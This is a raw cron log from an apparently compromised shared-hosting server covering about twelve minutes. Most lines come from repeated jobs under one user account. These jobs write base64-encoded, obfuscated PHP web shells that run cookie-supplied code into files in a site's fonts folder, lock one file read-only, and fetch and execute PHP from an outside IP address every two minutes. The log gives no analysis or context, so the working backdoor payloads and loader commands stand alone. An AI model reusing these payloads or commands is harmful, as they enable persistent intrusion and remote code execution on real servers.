Sep  8 17:18:01 ip-184-168-122-23 CROND[5520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:18:01 ip-184-168-122-23 CROND[5521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:18:01 ip-184-168-122-23 CROND[5524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:19:01 ip-184-168-122-23 CROND[5787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:19:01 ip-184-168-122-23 CROND[5790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:19:01 ip-184-168-122-23 CROND[5794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:19:01 ip-184-168-122-23 CROND[5795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:20:01 ip-184-168-122-23 CROND[5888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:20:01 ip-184-168-122-23 CROND[5890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:20:01 ip-184-168-122-23 CROND[5893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:20:01 ip-184-168-122-23 CROND[5892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:20:01 ip-184-168-122-23 CROND[5894]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:20:01 ip-184-168-122-23 CROND[5897]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:20:01 ip-184-168-122-23 CROND[5896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:20:01 ip-184-168-122-23 CROND[5898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:20:01 ip-184-168-122-23 CROND[5895]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 17:21:01 ip-184-168-122-23 CROND[6148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:21:01 ip-184-168-122-23 CROND[6149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:21:01 ip-184-168-122-23 CROND[6153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:21:01 ip-184-168-122-23 CROND[6154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:22:01 ip-184-168-122-23 CROND[6653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:22:01 ip-184-168-122-23 CROND[6659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:22:01 ip-184-168-122-23 CROND[6662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:22:01 ip-184-168-122-23 CROND[6664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:22:01 ip-184-168-122-23 CROND[6665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:23:01 ip-184-168-122-23 CROND[7203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:23:01 ip-184-168-122-23 CROND[7205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:23:01 ip-184-168-122-23 CROND[7206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:23:01 ip-184-168-122-23 CROND[7207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:24:01 ip-184-168-122-23 CROND[7722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:24:01 ip-184-168-122-23 CROND[7724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:24:01 ip-184-168-122-23 CROND[7723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:24:01 ip-184-168-122-23 CROND[7726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:24:01 ip-184-168-122-23 CROND[7727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:25:01 ip-184-168-122-23 CROND[8190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:25:01 ip-184-168-122-23 CROND[8196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:25:01 ip-184-168-122-23 CROND[8192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:25:01 ip-184-168-122-23 CROND[8194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:25:01 ip-184-168-122-23 CROND[8193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:25:01 ip-184-168-122-23 CROND[8195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:26:01 ip-184-168-122-23 CROND[8589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:26:01 ip-184-168-122-23 CROND[8590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:26:01 ip-184-168-122-23 CROND[8591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:26:01 ip-184-168-122-23 CROND[8592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:26:01 ip-184-168-122-23 CROND[8588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:27:01 ip-184-168-122-23 CROND[9064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:27:01 ip-184-168-122-23 CROND[9069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:27:01 ip-184-168-122-23 CROND[9070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:27:01 ip-184-168-122-23 CROND[9068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:28:01 ip-184-168-122-23 CROND[9523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:28:01 ip-184-168-122-23 CROND[9525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:28:01 ip-184-168-122-23 CROND[9527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:28:01 ip-184-168-122-23 CROND[9526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:28:01 ip-184-168-122-23 CROND[9528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:29:01 ip-184-168-122-23 CROND[9990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:29:01 ip-184-168-122-23 CROND[9989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:29:01 ip-184-168-122-23 CROND[9992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:29:01 ip-184-168-122-23 CROND[9991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:30:01 ip-184-168-122-23 CROND[10449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:30:01 ip-184-168-122-23 CROND[10450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:30:01 ip-184-168-122-23 CROND[10453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:30:01 ip-184-168-122-23 CROND[10456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
